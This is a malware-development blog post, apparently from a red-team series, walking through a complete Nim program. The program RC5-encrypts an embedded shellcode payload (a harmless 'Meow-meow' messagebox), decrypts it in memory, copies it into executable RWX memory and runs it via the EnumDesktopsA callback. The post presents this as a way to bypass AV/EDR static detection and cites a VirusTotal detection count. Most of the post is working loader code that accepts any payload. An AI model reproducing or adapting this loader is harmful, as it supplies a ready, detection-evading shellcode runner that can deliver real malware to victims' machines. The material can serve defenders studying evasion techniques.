Malware and cryptography 40 - encrypt/decrypt payload via RC5. Simple Nim example.

﷽

Hello, cybersecurity enthusiasts and white hackers!

In this post I want to show you how to implement custom RC5 encryption in Nim language and execute decrypted payload using a sneaky Windows API trick - EnumDesktopsA. All of this works without dropping any files to disk.

RC5 + Nim + EnumDesktopsA = fun

We’ll start by implementing the RC5 block cipher encryption and decryption routines directly in Nim. RC5 is a simple and elegant algorithm that uses data-dependent rotations and modular addition. It’s perfect for hiding payload in memory.

practical example

First, let’s define the basic operations we need — shifts and rotations:

proc shiftLeft(v: uint32, n: uint32): uint32 = v shl n
proc shiftRight(v: uint32, n: uint32): uint32 = v shr n

proc rotateLeft(v: uint32, n: uint32): uint32 =
  let n1 = n and 0x1f'u32
  shiftLeft(v, n1) or shiftRight(v, 32 - n1)

proc rotateRight(v: uint32, n: uint32): uint32 =
  let n1 = n and 0x1f'u32
  shiftRight(v, n1) or shiftLeft(v, 32 - n1)

These helpers will be used in key expansion and the encryption algorithm itself.

Next step is RC5 key expansion logic. We use the 128-bit key split into 4 uint32 values. The key schedule expands it into a 26-element subkey array S[] using magic constants from the RC5 paper (e and ϕ):

proc expandKey(L: var array[4, uint32], S: var array[26, uint32]) =
  var A, B: uint32 = 0
  var i, j: int = 0
  S[0] = 0xb7e15163'u32
  for k in 1 .. 25:
    S[k] = S[k - 1] + 0x9e3779b9'u32
  for _ in 0 ..< 3 * 26:
    A = rotateLeft(S[i] + A + B, 3)
    S[i] = A
    B = rotateLeft(L[j] + A + B, A + B)
    L[j] = B
    i = (i + 1) mod 26
    j = (j + 1) mod 4

Then, we need RC5 encryption and decryption logic. Encryption works on 64-bit blocks (2 × uint32), applying 12 rounds of mixing:

proc encrypt(S: array[26, uint32], inout: var array[2, uint32]) =
  var A = inout[0]
  var B = inout[1]
  A += S[0]
  B += S[1]
  for j in 0 ..< 12:
    A = rotateLeft(A xor B, B) + S[2]
    B = rotateLeft(B xor A, A) + S[3]
  inout[0] = A
  inout[1] = B

Decryption is the exact reverse:

proc decrypt(S: array[26, uint32], inout: var array[2, uint32]) =
  var A = inout[0]
  var B = inout[1]
  for j in countdown(12, 1):
    B = rotateRight(B - S[3], A) xor A
    A = rotateRight(A - S[2], B) xor B
  B -= S[1]
  A -= S[0]
  inout[0] = A
  inout[1] = B

We define a payload as a sequence of bytes. This is our payload. In this example I use meow-meow messagebox payload as usual:

var data: seq[byte] = @[
  byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
  0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
  0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
  0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
  0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
  0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
  0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
]

We align the data to 8-byte blocks (64-bit, as required by RC5):

let paddedSize = ((dataSize + 7) and not 7)

Then we encrypt and decrypt in-place:

for i in countup(0, paddedSize - 1, 8):
  var chunk: array[2, uint32]
  copyMem(addr chunk, addr paddedData[i], sizeof(chunk))
  encrypt(box, chunk)
  copyMem(addr encrypted[i], addr chunk, sizeof(chunk))
  decrypt(box, chunk)
  copyMem(addr decrypted[i], addr chunk, sizeof(chunk))

And the last step is executing payload via EnumDesktopsA. This is the fun part. We allocate RWX memory, copy decrypted payload, and call it by casting it to a WinAPI callback type:

let mem = VirtualAlloc(NULL, cast[SIZE_T](data.len), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
RtlMoveMemory(mem, unsafeAddr decrypted[0], cast[SIZE_T](data.len))
let shellcodeProc = cast[DESKTOPENUMPROCA](mem)
discard EnumDesktopsA(GetProcessWindowStation(), shellcodeProc, 0)

This old technique is great for bypassing naive AV/EDR static detection. EnumDesktopsA expects a callback function - and we provide it a pointer to our payload instead. =^..^=

So full source code in Nim language is looks like this hack.nim:

# hack.nim
# encrypt/decrypt payload via
# RC5 cipher
# author: @cocomelonc
# https://cocomelonc.github.io/malware/2025/04/02/malware-cryptography-40.html
import winim
import strformat

type
  DESKTOPENUMPROCA = proc(lpszDesktop: LPSTR, lParam: LPARAM): WINBOOL {.stdcall.}

proc shiftLeft(v: uint32, n: uint32): uint32 = v shl n
proc shiftRight(v: uint32, n: uint32): uint32 = v shr n

proc rotateLeft(v: uint32, n: uint32): uint32 =
  let n1 = n and 0x1f'u32
  shiftLeft(v, n1) or shiftRight(v, 32 - n1)

proc rotateRight(v: uint32, n: uint32): uint32 =
  let n1 = n and 0x1f'u32
  shiftRight(v, n1) or shiftLeft(v, 32 - n1)

proc expandKey(L: var array[4, uint32], S: var array[26, uint32]) =
  var A, B: uint32 = 0
  var i, j: int = 0
  S[0] = 0xb7e15163'u32
  for k in 1 .. 25:
    S[k] = S[k - 1] + 0x9e3779b9'u32
  for _ in 0 ..< 3 * 26:
    A = rotateLeft(S[i] + A + B, 3)
    S[i] = A
    B = rotateLeft(L[j] + A + B, A + B)
    L[j] = B
    i = (i + 1) mod 26
    j = (j + 1) mod 4

proc encrypt(S: array[26, uint32], inout: var array[2, uint32]) =
  var A = inout[0]
  var B = inout[1]
  A += S[0]
  B += S[1]
  for j in 0 ..< 12:
    A = rotateLeft(A xor B, B) + S[2]
    B = rotateLeft(B xor A, A) + S[3]
  inout[0] = A
  inout[1] = B

proc decrypt(S: array[26, uint32], inout: var array[2, uint32]) =
  var A = inout[0]
  var B = inout[1]
  for j in countdown(12, 1):
    B = rotateRight(B - S[3], A) xor A
    A = rotateRight(A - S[2], B) xor B
  B -= S[1]
  A -= S[0]
  inout[0] = A
  inout[1] = B

when isMainModule:
  var key: array[4, uint32] = [0x243F6A88'u32, 0x85A308D3'u32, 0x452821E6'u32, 0x38D01377'u32]
  var box: array[26, uint32]
  expandKey(key, box)

  var data: seq[byte] = @[
    byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  ]

  let dataSize = data.len
  let paddedSize = ((dataSize + 7) and not 7)
  var paddedData = newSeq[byte](paddedSize)
  for i in 0..<data.len:
    paddedData[i] = data[i]

  var encrypted = newSeq[byte](paddedSize)
  var decrypted = newSeq[byte](paddedSize)

  for i in countup(0, paddedSize - 1, 8):
    var chunk: array[2, uint32]
    copyMem(addr chunk, addr paddedData[i], sizeof(chunk))
    encrypt(box, chunk)
    copyMem(addr encrypted[i], addr chunk, sizeof(chunk))
    decrypt(box, chunk)
    copyMem(addr decrypted[i], addr chunk, sizeof(chunk))

  echo "\nencrypted:"
  for b in encrypted:
    stdout.write &"{b:02x} "
  echo "\n\ndecrypted:"
  for b in decrypted[0 ..< data.len]:
    stdout.write &"{b:02x} "
  echo "\n"

  if decrypted[0 ..< data.len] == data:
    echo "encryption and decryption successful. =^..^="
  else:
    echo "failed :("

  let mem = VirtualAlloc(NULL, cast[SIZE_T](data.len), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
  RtlMoveMemory(mem, unsafeAddr decrypted[0], cast[SIZE_T](data.len))
  let shellcodeProc = cast[DESKTOPENUMPROCA](mem)
  discard EnumDesktopsA(GetProcessWindowStation(), shellcodeProc, 0)

demo

Let’s go to see everything in action. Compile it (in my linux machine):

nim c -d:mingw --cpu:amd64 hack.nim

Then, just run it in the victim’s machine (windows 10 22H2 x64 in my case):

.\hack.exe

Nice! As you can see, everything is worked perfectly! =^..^=

Let’s upload our implementation to VirusTotal:

https://www.virustotal.com/gui/file/23b470b30b67d50a0b0c6227ce2a6fca84fff0ef25339c5312f60c02cef9759f/detection

So, only 16 of 72 AV engines detect our file as malicious.

Stay stealthy, encrypt everything, abuse callbacks :)

I hope this post is useful for malware researchers, C/C++ and Nim programmers, spreads awareness to the blue teamers of this interesting encryption technique and Nim implementation, and adds a weapon to the red teamers arsenal.

Run shellcode via EnumDesktopsA
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine